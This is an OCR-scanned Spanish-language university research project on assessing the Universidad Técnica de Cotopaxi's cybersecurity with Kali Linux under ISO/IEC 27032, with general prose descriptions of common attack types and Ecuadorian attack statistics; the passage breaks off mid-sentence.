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RESUMEN

La ciberseguridad es un activo muy importante dentro de una empresa ya que trata
principalmente del cuidado de los sistemas informaticos, es por ello que hoy en dia en el
Ecuador las empresas deciden implementar herramientas que puedan determinen el nivel de
vulnerabilidad que existe dentro de su infraestructura tecnologicas, con el objetivo de prevenir
posibles ataques cibernéticos o robos de informacion. En este sentido la presente
investigacion se desarrollo en torno al usdé de entrevistas y encuestas al departamento de
sistemas, docentes y alumnos, con la finalidad de tener una muestra de las falencias que tiene
la institucion en cuanto a ciberseguridad, ademas se obtuvo referencias bibliograficas en

libros, internet y otros medios de comunicacion para su familiarizacién en el presente tema.

En cuanto a los métodos de la investigacion se ha orientado por el método Hipotético-
Deductivo ya que permito conocer el origen del problema partiendo de lo mas general a lo
especifico para mejor compresion del tema y cada uno de sus derivados. La presente
investigacion se basa en la norma ISO/IEC 27032/2012 un nuevo estandar de seguridad que
resguarda la informacién de riesgos existentes en el ciberespacio, esto permitiéndonos a
cumplir a cabalidad con los objetivos trazados y entregar posibles recomendaciones en

conjunto con los resultados de los andlisis realizados.

Palabras Claves: Seguridad informatica, ciberseguridad, Linux., ataques informaticos,
vulnerabilidades.
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AUTORE:

ALVARADO LLANO WASHINGTON ORLANDO
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ABSTRACT

Cybersecurity is a very important asset within a company because it deals mainly with the
care of computer systems, that is why today in Ecuador companies decide to implement tools
that can determine the level of wulnerability that exists within its technological infrastructure,
with the aim of preventing possible cyber-attacks or information theft. In this sense, this
research was developed around the use of interviews and surveys to the systems department,
teachers and students, in order to have a sample of the shortcomings that the institution has in
terms of Cybersecurity, also obtained bibliographic references were obtained in books,

Internet and other media for familiarization in the present research.

As for the research methods, it has been guided by the Hypothetical-Deductive method since
it allows us to know the origin of the problem, starting from the most general to the specific,
for a better understanding of the subject and each one of its derivatives. This research was
carried out based on the ISO/IEC 27032/2012 standard, a new safety standard that protects the
information of existing risks in cyberspace, allowing us to fully comply with the objectives
set and provide possible recommendations altogether with the results of the analysis
performed.

Keywords: computer security, cybersecurity, Linux, computer attacks, vulnerabilities.
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2. RESUMEN DEL PROYECTO

La ciberseguridad, también conocida como seguridad informatica es aquella que se enfoca en
la proteccion de la infraestructura computacionales, permitiendo dar a conocer los activos
informaticos y sus wulnerabilidades y amenazas a los que se encuentran expuestos, asi como
su probabilidad de ocurrencia y el impacto de las mismas, a fin de determinar los controles
adecuados para aceptar, disminuir, transferir o evitar la ocurrencia del riesgo a posibles

ataques.

Teniendo en cuenta que las inseguridades de los sistemas informaticos podrian causar dafios o
pérdidas financieras o administrativas a instituciones publicas o privadas, nos hemos
planteado como necesidad realizar un andlisis a la infraestructura tecnologica de la
Universidad Técnica de Cotopaxi, con el objetivo de estimar la magnitud del riesgo a que se
encuentra expuesto su sistema informético de tal manera que permita determinar posibles

brechas de seguridad.

Los objetivos fundamentales de la seguridad informatica es contar con ejes principales en los
que se enfoquen en la integridad, privacidad y disponibilidad de la informacién de cualquier
sistema informatico, esto solo podria lograrse contando con las herramientas necesarias y el
personal debidamente capacitado para poder administrar todas las plataformas que sean

asignadas.

En la actualidad la ciberseguridad es una rama de la informéatica en la cual se basa en proveer
técnicas y herramientas necesarias para proteger la integridad de la informacion y que esta
esté disponible cuando se la necesite. Hoy en dia las personas que se dedican de lleno a
cualquier campo de la informatica y especialmente en el campo de la seguridad saben que
cuentan con muchas herramientas para poder ser utilizadas y estar al tanto de las distintas

amenazas que pudieran generarse dentro de una red corporativa.

Las herramientas de seguridad, escaneo de redes, auditoria o0 pentesting en la actualidad son
muchas, y hoy por hoy gran parte de ellas son multiplataforma, de software libre e incluso de
paga, cada una de ellas con alguna particularidad, pero lo rescatable de todo esto es que, asi

como se generan wulnerabilidades informéticas a diario también tenemos herramientas con las



cuales nos podemos defender y contrarrestar al maximo los problemas que estas brechas de

seguridad nos podrian generar.

3. JUSTIFICACION

En el Ecuador la ciberseguridad es un tema innovador, ya que en los Ultimos afios un cierto
porcentaje de empresas publicas y privadas han sufrido ataques cibernéticos a sus sistemas
informéaticos, poniendo en riesgos datos importantes de la empresa. Esto debido a que hay
varias empresas que no tienen un sistema de seguridad, que controle la wulnerabilidad de sus
equipos tecnoldgicos, haciéndolos mas wulnerables a los ataques cibernéticos que existen en la

actualidad.

El presente proyecto de investigacion tiene como proposito realizar un analisis de factibilidad
técnica y tecnologica a la infraestructura tecnoldgica de la Universidad Técnica de Cotopaxi,
con la finalidad de mejorar la ciberseguridad de los recursos tecnoldgicos, para evitar
amenazas que existe en el amplio mundo del internet por medio de procesos, planes y
politicas de seguridad, la cual fortalecera la parte intangible de la institucion y evitar perdida

de informacion.

El analisis se efectuara utilizando el sistema operativo Kali Linux GNU, el cual se instalara en
los distintos equipos virtuales de una maquina fisica y de manera independiente a su sistema
operativo nativo. El analisis se lo ejecutard de una parte interna o externa a la institucion

ddnde se evaluara el proceso ejecutado y datos obtenidos durante el proceso.
BENEFICIARIOS DEL PROYECTO

e Beneficiarios Directos

Estudiantes, docentes, empleados y personal administrativo de la Universidad Técnica de

Cotopaxi.

e Beneficiarios Indirectos

Poblacion visitante de la Universidad Técnica de Cotopaxi.



5. PROBLEMA DE INVESTIGACION

El avance tecnolégico a nivel mundial ha transformado las operaciones de las empresas e
instituciones y la forma en como interactlan las personas, pero a la vez han traido riesgos y
dificultades en cuanto a la seguridad de la informacion. Segin el informe sobre riesgos
globales para 2016 del Foro Economico Mundial, los ataques cibernéticos se han considerado
como uno de los principales riesgos globales entre los més probables de ocurrir y con mayores
consecuencias, en los Ultimos afios han aumentado rapidamente atacando a los negocios en
todo tipo de sectores empresariales, para ello se necesitaran implementar nuevas herramientas

que garanticen la seguridad minimizando los riesgos de ataques cibernéticos.

En la actualidad muchas organizaciones de cualquier sector, cuyos procesos criticos de
negocio dependen de la tecnologia, desconocen los riesgos a los que se exponen, producto de

las posibles brechas de seguridad existentes en su plataforma tecnoldgica.

Gran parte de las empresas en el Ecuador son consideradas las mas wulnerables a los
ciberataques porque desconocen el impacto que pueden tener sobre su negocio. Esto lleva a
que muchas no implementen las acciones necesarias para protegerse de manera efectiva,
produciéndoles una pérdida de informacion que puede ser muy grande y recuperarse puede
demandar mucho tiempo ya que los ciberataques pueden causar dafio a la marca y pérdida de

clientes.

5.1. Planteamiento del problema

¢Como mejorar la Ciberseguridad de la infraestructura tecnoldgica de la Universidad Técnica

de Cotopaxi?

6. OBJETIVOS

6.1. OBJETIVO GENERAL

e Analizar la ciberseguridad a la infraestructura tecnologica de la UNIVERSIDAD

TECNICA DE COTOPAXI, a través del sistema operativo Kali Linux, virtualizado en

una maquina fisica para disminuir riesgos existentes a sus sistemas informaticos.



6.2. OBJETIVOS ESPECIFICOS

e Detectar las brechas de seguridad que posee la plataforma tecnologica de la Institucion
por donde un intruso o “hacker” podria acceder de forma no autorizada a sus activos de

informacion.

e Presentar los riesgos asociados a las debilidades detectadas durante el analisis, detallando

las consecuencias que podrian ocasionar a sus sistemas de informacion.

e Sugerir las alternativas que contribuyan a solventar o minimizar las wulnerabilidades

detectadas durante el andlisis, detallando los pasos a seguir para su proteccion.



7. ACTIVIDADES Y SISTEMA DE TAREAS EN RELACION A LOS OBJETIVOS PLANTEADOS

Tabla 1: Actividades planificadas para darle cumplimiento a los objetivos

la plataforma  tecnologica de

Institucion
por dénde un intruso o “hacker”
podria acceder de forma no

autorizada a
sus activos de informacion.

Técnica de Cotopaxi

investigacion.

Objetivo Actividad (Tareas) Resultado de la actividad Descripcion de la
actividad técnicas e
instrumentos
Detectar las brechas de seguridad qy Inspeccion visual de los equipos| Fundamentacion tedrica Encuetas
pose tecnologicos de la  Universidad | del proyecto de Entrevistas

Investigacion de campo.

Presentar los riesgos asociados a las
debilidades detectadas durante el
analisis, detallando las consecuencias
que podrian ocasionar a los activos
de informacion.

Elaboracion de un informe sobre

la wulnerabilidad de la
infraestructura

de la Universidad Técnica de
Cotopaxi después de una

exhaustiva Investigacion,

Proyecto de investigacion.

Anélisis de la
ciberseguridad a la
infraestructura  tecnoldgica
de la UTC.

Aplicacion Word

Sugerir las alternativas que
contribuyan a solventar o minimizar
las  wulnerabilidades detectadas
durante el analisis, detallando los
pasos a sequir para su proteccion

Exposicion de las alternativas para
optimizar las infraestructura
tecnologica de la  Universidad
Técnica de Cotopaxi

Proyecto de investigacion.

Investigacion
y descriptiva.

explicativa

Fuente: Los autores




8. FUNDAMENTACION CIENTIFICO TECNICA

8.1. Antecedentes

A nivel mundial el concepto de seguridad informética ha ido incrementando su importancia,
pese a que en algunos paises aln sea un tema poco explorado. Pero lo realmente importante
de esto es orientarse hacia esta rama de la informéatica y destacar que esta, hoy por hoy, deja
de ser un recurso para convertirse en una necesidad, tanto para las empresas sin importar su

tamafio, como para las personas.

Tanto es asi, que en muchas organizaciones en las que la cultura informéatica esta bien
definida, la seguridad de la informacion ha pasado de ser un gasto a una necesidad. En la
actualidad la seguridad informatica ha adquirido tal nivel de relevancia debido a que es una
manera de mantener y precautelar la integridad del activo mas importante de una empresa: la
informacion. Por lo tanto, es fundamental que aparezcan mas personas capacitadas con un rol
especifico que tengan la capacidad de aplicar y hacer valer todos estos conceptos, a estos

especialistas también se los puede llamar con el término de hacker ético.

Este individuo mira y analiza desde el punto de vista de un cracker y efectda las técnicas
conocidas dentro de un ambiente real como también dentro de uno simulado. Con el Unico
objetivo de poder determinar las wvulnerabilidades existentes y sus respectivas remediaciones,
todo esto dentro del marco de la ética profesional. Esta persona posee el conocimiento
necesario para aplicar cualquier técnica de penetracion (pentesting) que pueda determinar

alguna brecha de seguridad en sus distintos niveles.

La seguridad informatica se basa principalmente en tres pilares fundamentales: integridad,
disponibilidad y confidencialidad. Estos pilares deben de ser forjados mediante el uso de
herramientas, la implementacion de politicas y el cumplimiento de procesos. Es aqui donde
interviene el rol de un especialista en seguridad informatica. Los especialistas de seguridad
informatica son los idoneos para determinar si un sistema o servicio es seguro y para ello se
realizan una serie de analisis que ayudaran a determinar si el objeto de estudio cumple con los
tres conceptos fundamentales.



De manera general lo primero es evaluar por ejemplo los tipos de ataques mas comunes que
podria sufrir la empresa. Considerando esto, se realizan una serie de pruebas de vulnerabilidad
a los servicios 0 recursos que son considerados como los objetivos mas basicos y comunes.
En la actualidad la informacion sobre los diferentes tipos de ataques informaticos es muy
amplia, puesto que se puede encontrar informacién acerca de todo tipo de ataques y a su vez,
las posibles soluciones o recomendaciones para mitigar las wulnerabilidades ante un ataque
eventual. Teniendo en cuenta esto, se dara a conocer los tipos de ataques mas comunes y la
forma como operan estos, de manera que se pueda reflejar el nivel de relevancia que adquiere

la presente investigacion tanto para la institucion.

8.2. Ciberseguridad

La ciberseguridad también conocida como seguridad informatica hace afios atras, ha
modernizado el sistema de seguridad de las empresas ya que esta se ocupa del tratamiento de

la informacion por medio de las computadoras Y la integridad del sistema informatico.

Se conoce como la seguridad tecnologia de la informacion ya que engloba un gran ndmero de
técnicas y métodos para proteger nuestro sistema, asi como otros dispositivos que son presas
de ataques informaticos o cualquier robo de datos o identidad. En esta era digital debemos
estar actualizados, por ello nuestro sistema debe estar dotado de la mejor seguridad y conocer
a la perfeccion las nuevas herramientas, que van apareciendo para evitar estas amenazas. La
ciberseguridad es importante a nivel mundial, puesto que los gobernantes de diferentes paises
inviertes millones de ddlares en seguridad informatica, la réapida transformacion digital que
estamos viviendo nos wvuelve mas wulnerables, el alto uso de dispositivos tecnologicos en la
sociedad, facilitando actividades cotidianas, como comprar, estudiar, realizar actividades
bancarias, etc. Por ese motivo Sse genera mas riesgos de ser atacados por los famosos
“hacker”. Y es por ello que siempre hay que estar alerta, a posibles ataques informaticos
(Vieites, 2013).

Actualmente existen un gran ndmero de razones para aplicar y confiar en la ciberseguridad.
En los sistemas informaticos actuales précticamente no existe un concepto de ordenadores
aislado como sucedia en ordenadores de generaciones anteriores a la actual, por lo que se
observaria extrafio ver un sistema informatico que no esté dentro de una red de ordenadores

para compartir recursos e informacion, asi como acceso a internet, con las cuales las
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amenazas les pueden llegar desde el interior o exterior, y al estar conectados en red un ataque

a un equipo puede afectar a todo el conjunto (Vieites, 2013).

Se puede decir que es practicamente imposible encontrar un sistema informatico totalmente
seguro, pero cuantas mas y mejoras medidas de seguridad empleemos, mayor sera la

seguridad del sistema informatico (Vieites, 2013).

8.3. Clasificacion de ciberseguridad

Cuando hablamos de la seguridad en un sistema informatico, podemos encontrar diversos
tipos de seguridad, dependiendo de la naturaleza material de los elementos que utilicemos o

de si se ocupan de evitar el atague o incidentes o de recuperar el sistema una vez que este se

haya producido.

8.4. Activa y pasiva

La ciberseguridad se divide en activa y pasiva, dependiendo de los elementos utilizados para

la misma, asi como de la actuacién que van a tener en la seguridad de los mismos.

8.4.1. Activa

Se entiende por seguridad activa todas aquellas medidas que se utilizan para detectar las
amenazas, y en caso de su detencion generar los mecanismos adecuado para evitar los

problemas.

Ejemplos de seguridad activa los podemos encontrar de contrasefias o claves de acceso, uso

de antivirus, cortafuegos o firewall (Vieites, 2013).

8.4.2. Pasiva

Comprende todo el conjunto de medidas utilizadas para que una vez que se produzca el ataque
0 el fallo en la seguridad de nuestros sistemas, hacer que el impacto sea menor posible, y

activar mecanismos de recuperacion del mismo.
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Ejemplo de seguridad pasiva son las copias de los datos de nuestro sistema (Vieites, 2013).

8.5. Fases de la ciberseguridad

Protegerse ante los peligros de la era actual implica llevar a cabo procesos de ciberseguridad

que se sustenten sobre su efectividad y para hacerlo, hay que conocer las fases en las que

aplicarlos.

Podemos dividir el proceso en tres fases concretas que suelen ser temario habitual del méster

en seguridad empresarial: prevencion, localizacion y reaccion (Vieites, 2013).

8.5.1. Prevencién

El primer paso siempre es la prevencion, lo que reducird en gran medida el margen de riesgo.
Por ello, hay que actuar de forma temprana e informarnos de todo lo que puede ocurrirle a
nuestro sistema. Determinar las posibles amenazas y cuales serdn las medidas de prevencion y
reaccion en caso de vernos afectados por una de ellas, nos permitira estar mas preparados. Es
primordial que los empleados del negocio tengan unos conocimientos basicos sobre
ciberseguridad. Deben conocer las distintas herramientas que se utilizan y como garantizar su
maximo nivel de seguridad para que no cometan errores que puedan abrir el camino a la
entrada de los hackers (Vieites, 2013).

8.5.2. Localizaciéon

Después de prevenir, en el caso de haber sufrido algin tipo de problema, habra que localizar
donde radica el problema. Para ello la mejor herramienta es disponer de un antivirus potente
gue nos ayude a detectar el ataque en tiempo real y concentrarnos en él de inmediato.
Localizar el ataque o la infeccion no es tan facil como pueda parecer, dado que los hackers
son conscientes del uso de los antivirus y lo que hacen es trabajar de manera que sus atagques
puedan pasar desapercibidos. En algunos casos, desde el momento en el que se produce el
golpe hasta que la empresa lo detecta, pueden pasar mas de 100 dias. Para intentar reducir en
la medida de lo posible este problema, hay que concentrarse en dos aspectos: gestionar las
vulnerabilidades de nuestro sistema y por otro llevar a cabo una monitorizacion de forma
continuada (Vieites, 2013).
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8.5.3. Reaccion

Una vez que hemos localizado la amenaza, tendremos que dar una respuesta técnica sobre la
misma y para ello lo ideal es seguir cinco pasos. Comenzaremos desconectando los equipos
de la red y seguidamente instalaremos un antivirus que pueda satisfacer las necesidades o
actualizaremos el que ya teniamos. Después, llevaremos a cabo un analisis sobre el sistema y
haremos cambios en todas las contrasefias. Para terminar, sera crucial realizar una limpieza a
fondo del sistema para comprobar que ya no existe ningun tipo de peligro. En el caso de que
nos hayan robado datos o informacion confidencial, también deberemos proceder de la
manera pertinente para comunicarlo a los usuarios afectados y elevar lo ocurrido a una
situacion de delito informético (Vieites, 2013).

8.6. Tipos de ataques

Para iniciar los tipos de ataques es importante primero mencionar que un ataque es iniciado
desde una computadora con otra computadora o sitio web, con fin de comprometer la
integridad, confidencialidad o disponibilidad del objetivo y la informacion almacenada en el

ordenador. Es por ello que mencionaremos los tipos de ataques con sus respectivos objetivos.

8.6.1. Escaneo de puertos abiertos

Pese a que se puede clasificar a esta como una técnica también se la puede incluir dentro de
los tipos de ataque sniffers. Puesto que, la finalidad de este es recopilar la informacién
necesaria sobre los servicios se encuentran habilitados para la escucha de solicitudes a través
de los diferentes puertos de red. Esto permitiria poder determinar a su vez la herramienta o el

siguiente paso para realizar el ataque informatico (CERT-MU, 2010).

8.6.2. Ataques de ramsonware

En el afio 2017 el Ecuador fue parte de un ataque informatico a escala mundial, dirigido hacia
una multinacional que opera también en el pais. Dicho ataque consistia en alterar el
funcionamiento de equipos que cuenten con el sistema operativo Windows (Medina, 2017). El
modus operandi de este, se basaba en tomar el control de la computadora y dejar casi sin

efecto la manipulacion por parte del usuario, posterior a esto el atacante exigia algin tipo de
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desembolso monetario para el rescate o liberacién del equipo. Este tipo de ataques son los
conocidos como ataques de Ramsonware. De manera particular el ataque informatico citado

se realizd a través de un virus esparcido que se denomind wannacry (Check, 2018).

Este virus fue liberado en mayo del 2017 afectando a 15000 personas y 27 empresas alrededor
del mundo. De acuerdo con el reporte realizado por CERT- MU (Computer Security Incident
Response Team of Mauritius) equipo dedicado a investigar ataques informaticos alrededor del
mundo (CERT-MU, 2017).

8.6.3. Ataques phishing

Otros de los ataques informaticos més conocidos es el ataque phising. Este ataque se funciona
en base al envio de un correo falso solicitando o presentando informacion respecto a tramites
bancarios suplantando la identidad de la institucion. El objetivo principal de este cometido es
persuadir a la victima a registrar informacion confidencial del usuario, como credenciales de
acceso a servicios de banca virtual, nimeros y codigos de tarjetas de crédito o débito, estados

de cuenta, estados financieros, entre otros (Vieites, 2013).

8.6.4. Ataques DoS

Sus siglas derivan de la frase “Denial of service” que significa denegacion de servicio, el
objetivo de este tipo de ataques es, como su nombre lo indica, negar a los usuarios el acceso a
un servicio en especifico o limitar el acceso al mismo alterando su funcionamiento. Los
principales modos de identificar este tipo de ataque son, por ejemplo, descubrir un bajo
rendimiento o rendimiento limitado de un servicio en un entorno de red. Otro de los sintomas
que podrian presentarse es la no disponibilidad de acceso a sitios web que se monitorean

como operativos, y por ende la restriccion de acceso a servicios web (Vieites, 2013).

8.6.5. Ataques Man-In-The-Middle

Los ataques MITM tienen la finalidad de interceptar la comunicacion entre dos sistemas por
medio del uso de un software o entidad externa. Esto servird como herramienta sniffer y podra
actuar como puente para los datos que se transmiten entre ambos sistemas. Gracias a esto,

podra recibir informacion confidencial e importante que se transmita, como credenciales de
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acceso, documentos confidenciales, o incluso daria la posibilidad de modificar los paquetes
recibidos y retransmitirlos con algin coédigo malicioso que infecte al usuario receptor. Este
tipo de ataques se lo puede realizar durante la navegacion hacia sitios o servicios web,

servicios o recursos de red, e incluso correos electronicos (Vieites, 2013).

8.6.6. Ataques a redes wireless

Mas alla del conocido ataque al protocolo WPA2 registrado en el afio 2017, en el que se dio a
conocer que el protocolo mas seguro usado por los routers habia sido vulnerado, existen sin

duda otros tipos de ataques que no necesariamente atacan directamente a dicho protocolo.

Sino méas bien que por medio de una base de datos trata de descifrar la clave que este router
esta usando para poder tener acceso a determinada rede wifi, estos son conocidos como los
ataques de diccionarios de datos, en los cuales consiste poseer un diccionario con miles de
claves y usuarios, esto ocurre que mediante un algoritmo se probard todas las combinaciones
posibles y si se encuentra la clave dentro del diccionario pues lo indicard, esto mediante
aplicativos que permiten conocer la mac address del ap que difunde el ssid asi como también
la de los dispositivos conectados, una vez conocido esto se envia una peticion de des
autenticacion hacia el host una vez que el dispositivo se wvuelva a conectar empezara el

algoritmo a hacer su trabajo (Martinez, 2018).

8.6.7. Ataques inyeccién SQL

Estos tipos de ataques son conocidos por que se ejecutan a nivel web con la finalidad de
obtener informacion directamente desde la base de datos, esto se puede lograr mediante las
wulnerabilidades que se encuentran en la capa de back end, las consecuencias de este tipo de

practicas es poder acceder a informacion confidencial (Cebrian, 2014).

8.6.8. Cross-site request

Consiste en la falsificacion de solicitudes entre sitios web o también conocido como ataques
de un solo clic, lo novedoso de este tipo de ataques, consiste en llevar al usuario a ejecutar un
tipo de exploit malicioso, mediante el cual se transmiten comandos no autorizados en péginas

web que el propio usuario confia (Vieites, 2013).
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8.6.9. Robo de cookies

Este tipo de ataques se realizan a nivel de desarrollo, en las cuales, mediante un script
desarrollado en JavaScript por parte del cliente, hace que cuando el usuario accede a un
enlace en internet, este automaticamente buscara las distintas cookies almacenados en la

memoria de la computadora para posteriormente ser enviadas al atacante (Valero, 2014).

8.6.10. Normas Orientadas a la Ciberseguridad de Informacién

La normativa ISO 27032 es un nuevo estandar de ciberseguridad publicada en Julio de 2012

por La Organizacion Internacional de Normalizacion (1SO).

La Norma ISO/IEC 27032:2012 "Tecnologias de la informacion - Técnicas de seguridad -
Directrices para la Ciberseguridad” ofrece unas lineas generales de orientacion para fortalecer
el estado de la Ciberseguridad en una empresa, utilizando los puntos técnicos y estratégicos

mas importantes para esa actividad y los que estan relacionados con:

e La Seguridad en las redes
e Seguridad en internet
e Seguridad de la informacién

e Y la Seguridad de las aplicaciones

La Norma ISO/IEC 27032 pretende garantizar la seguridad en los intercambios de
informacion en la Red para lograr hacer frente de una manera més efectiva al cibercrimen con

méas cooperacion entre todos.

Con esta norma ISO/IEC 27032:2012 se ha creado un nuevo marco para mejorar la seguridad
en internet. La norma 1SO 27032 esti totalmente orientada a intentar garantizar un entorno

seguro a través de directrices de seguridad (ISO, 2019).
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8.7. Virtualizacion mediante el uso de VMware

La virtualizacion inicialmente aparece en la década de los 60, pero oficialmente toma mucha
fuerza desde los afios 90 hacia la actualidad. El objetivo de la virtualizacién es que por medio
de un software este tenga la capacidad de crear de forma virtual un ente informatico, ya sea
este considerado un hardware, software o un servicio. Dicho esto, la virtualizacion dentro del
campo de la seguridad podra facilitar el trabajo al momento de la realizacion de una prueba de
penetracion, ya que este hace uso de recursos virtuales que tienen la misma validez de un
ambiente real.

La utilizacion de ambientes simulados en las pruebas de pentesting es de gran apoyo para el
hacker ético ya que de esta forma se puede tener total control de las vulnerabilidades que se
puedan encontrar a lo largo de este proceso. En la actualidad las herramientas de seguridad
son muy versatiles, ya que estas vienen en distintas versiones, como aplicativos de escritorio,

aplicativos web y sistemas operativos robusto y completos como es el caso de Kali Linux.

Uno de los softwares de virtualizacion més conocidos en el mundo de la informatica es VM
Ware, que como empresa tuvo sus inicios a finales de los afios 90, en la ciudad de California
en los Estados Unidos de América, este sistema posee gran cantidad de versiones de que se

apegan dependiendo de las necesidades del usuario.

El ESXi no es otra cosa mas que un hypervisor, que es el nlcleo principal de la estructura
vShepre, que se basa en una capa de virtualizacion que permite que Se ejecuten varios
sistemas operativos virtualizados sobre una misma maquina fisica. vSphere es conocido como
la solucion estelar para la virtualizacion de centros de datos, esto enfocado a un plano méas
profesional, ya que con esta herramienta de VMWare se permite agrupar muchos servidores

virtualizados, no es otra cosa mas que una granja de servidores virtual (Gomez, 2009).
8.7.1. Kali Linux
Es un sistema operativo de tipo de codigo abierto, distribucion basada en Debian GNU/Linux

el cual es exclusivo para auditorias informaticas, hacking ético o pentesting, que incluye una

gran cantidad de herramientas para el trabajo diario orientado a la seguridad informéatica.
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Este sistema operativo tuvo su lanzamiento oficial en el afio 2013 y ha tenido como tarea
principal ocupar el lugar de Backtrack y mas alla de eso, la tarea principal satisfacer en gran
manera a los usuarios. De manera general se puede considerar a Kali Linux como el sucesor
de BackTrack. Esta distribucion de Linux cuenta con alrededor de 600 herramientas instaladas

para darle el uso adecuado acorde a nuestras necesidades.

Al igual que otras distribuciones de Linux, Kali cuenta con una arquitectura muy bien
definida, basada en capas, que arranca desde su nicleo principal o Kernel, que es el encargado
de comunicar toda la parte del software con el hardware.

Cuenta con capas de Shell Cli y Shell Grafico, que son las capas encargadas de poner en
funcionamiento a los distintos aplicativos que se ejecutan en lineas de comando (CLI) asi
como también los gque se encargan de ejecutar aplicativos con interfaz grafica (GUI).

No estd de més recalcar que esta distribucion es una excelente herramienta para temas de
ciberseguridad puesto que cuenta con la facilidad de ejecutar varios servicios a nivel grafico

sin perder la esencia de Linux con su interfaz en lineas de comando.

Sin duda alguna este sistema operativo ha sido para los usuarios apasionados por la seguridad
informatica una herramienta de gran apoyo, puesto que una de las novedosas caracteristicas
de éste es la capacidad también de poder ejecutarse dentro de dispositivos con sistema

operativo Android con privilegios de root (Caballero, 2018).

8.8.  Ataques informaticos en el Ecuador

De acuerdo con Lubensky (2017), en el Ecuador, por ejemplo, son aproximadamente decenas
de miles los ataques a redes o servicios tecnologicos a nivel nacional. Segin una investigacion
realizada por un diario local del pais (Expreso, 2011), al 2010 los delitos informaticos
crecieron en un 360% en comparacion con las estadisticas del afio anterior a ese. Asi también,
a la misma fecha; las pérdidas econdmicas a causa de delitos o ataques informaticos Ademas
de esto, segin un estudio realizado por la empresa Deloitte entre los ataques mas comunes
detectados en el pais se encuentran los ataques por malware, SQL injection, DoS Distribuido,

IPV6, ataques internos, dispositivos moviles, analisis Logs entre otros.



Tabla 2: Ataques mas comunes en el pais

SECTORES ATAQUES POR DIA PORCENTAJE
Financiero 6600000 75.29%
Gobierno 925600 10.56%
Comunicaciones 737200 8.41%
Energia 325347 3.71%
Industria 173900 1.98%
Comercio 3600 0.04%
TOTAL 8765647 100%

Fuente: Ecuador, el cuarto pais de la region que recibe mas ataques cibernéticos (Doctor, 2012).

Elaborado: Los autores

Por su parte, la Fiscalia General del Estado, indicd que, en los primeros meses del afio 2011,
recibieron 1308 denuncias por delitos informaticos. De acuerdo con Xavier Almeida, experto
en seguridad informatica de la empresa GMS, el 90% de los ecuatorianos son propensos a
sufrir un ataque de seguridad informatica. Asi lo corrobora también Karina Astudillo, de la
empresa Elixircorp y docente de la maestria en Seguridad Informatica de la Espol, quien
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mostrd en cambio, como los portales que se manejan con JAVA (software que permite el uso

de programas punteros,

vulnerables a los ataques de hackers. Como parte de su exposicion, hizo una demostracion,
que tardd menos de 15 minutos, de un “ataque de Phishing usando Metasploit en Backtrack

Linux (Una version anterior a Kali Linux)" (Expreso, Delitos Informaticos, 2011).

Grafico N° 1 Indice de ocurrencia de ataques informaticos en el pais
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Fuente: Ecuador, el cuarto pais que recibe mas ataques cibernéticos.
Elaborado: Los autores

como herramientas, juegos Yy aplicaciones de negocios) son
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Vicente Lingan, de Kernel Panic, mostrd cémo mediante el proceso de “ethical hacking"
(simulacion de ataques hostiles controlados para ver los huecos de wvulnerabilidad de las redes)
ha descubierto las fallas de muchos sitios webs publicos. Este método es utilizado vy
recomendado para los bancos para que detecten sus fallas de seguridad. "Para atrapar a un
ladrén debes pensar como un ladron”, afirmé Lingan, quien ademas advirtié que "el Gobierno
tiene que tener claro que no se trata de una pelicula de ficcion, sino de una realidad. Por lo

tanto, hay que luchar y protegerse™ (Expreso, 2011).

De acuerdo a otro estudio realizado por diario La Hora, periddico local comercializado a nivel
nacional. El pais es uno de los paises mas propensos a sufrir ataques informaticos. Tanto es
asi que ha sido catalogado como un blanco facil para ataques de hackers (La Hora, 2011).
Dato que se confirma también con el estudio que el reportaje que publicd Diario Expreso en el
2017, en donde, se evidencid que Ecuador y al menos 100 paises mas a nivel mundial son los
que més sufren ataques de seguridad informética de tipo extorsivo (Expreso, Ataques en el
Ecuador, 2017).

Gréfico N° 2 indice de tipos de ataques de seguridad mas comunes

= Hacking
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m Exposicion accidenta

Fuente: Ecuador, el cuarto pais que recibe més ataques cibernéticos.
Elaborado: Los autores

Sin embargo, es necesario destacar que el pais hace esfuerzos en la lucha contra este tipo de
delitos mostrando al publico formas de estar prevenido a través de campafias como las que
hacen las instituciones financieras en las que se advierten sobre la difusion de informacion
confidencial. Asi también instituciones publicas como la policia nacional que, en su pagina
web, enlista los tipos de ataques informaticos mds comunes afio a afio. En este caso, por
ejemplo, para el afio 2018, en su articulo “Tendencias de la seguridad informatica” (Policia
Nacional del Ecuador, 2018).
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El Ransomware: Sin duda, uno de las tendencias que méas se repiten es el ransomware y segin
los expertos seguira siendo una de las fuentes de negocio de los cibercriminales en 2018,
debido a que “atn hay muchas organizaciones dispuestas a pagar grandes sumas de dinero por
recuperar sus sistemas comprometidos, en lugar de contar con politicas de ciberseguridad que

las mantengan protegidas ante cualquier amenaza”.

Los dispositivos inteligentes inundan hogares y empresas. “A medida que aumentan las
capacidades de la tecnologia y se implementan nuevos sistemas disruptivos en las nuevas
industrias, estos se convertirdn en los objetivos principales para el cibercrimen y la actividad
maliciosa”. Tecnologia CLOUD vy la infraestructura que la soporta estd en constante
evolucién, y con el creciente uso de los servicios de uso compartido de archivos en la nube,
las fugas de datos seguirdn siendo una gran preocupacién para las organizaciones que se

mueven en este entorno.

Criptomonedas: El Bitcoin y otras criptomonedas estan experimentando un momento de
crecimiento explosivo. Cada vez més gente estd invirtiendo en divisas electronicas cuyas
cotizaciones no dejan de crecer, lo que provocara que los cibercriminales vean como mercado

potencial que explotaran definitivamente en 2018.

Robo de datos personales y sensibles: 2017 ha sido un afio productivo para los cibercriminales
en cuanto a robo de datos personales, ademas, los expertos apuntan que los datos que robaban
y que se han vendido tradicionalmente en la deep web, en 2018 se podrian consolidar nuevas

formas como la extorsion, hasta ahora asociada mayoritariamente al ransomware.

Crimen Como Servicio (Crime-As-A-Service): En 2017 se experimentd un aumento
considerable del cibercrimen debido a la oferta como servicio (CaaS), y esta tendencia
continuard en los proximos meses. “En 2018, el CaaS permitird que los cibercriminales, sin
muchos conocimientos técnicos, compren herramientas y servicios para que puedan realizar

ataques.”

Amenazas Moviles: Los dispositivos mdviles seguiran siendo uno de los principales vectores
de ataque para los cibercriminales en 2018. A medida que las empresas sigan permitiendo a

los empleados utilizar sus dispositivos moviles con fines corporativos, se hace fundamental
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que exista un protocolo de seguridad para evitar el acceso no autorizado y garantizar que los

datos confidenciales permanezcan seguros.

Asi también en el mismo articulo se brinda a la ciudadania, formas de estar prevenido ante
eventuales ataques y como identificarlos. Por ejemplo, las conexiones a internet en redes
publicas, de acuerdo a lo recomendado por la Policia Nacional si se requiere el uso de una red
publica de internet tal como la red de un restaurante, hospital o aeropuerto, recomiendan no
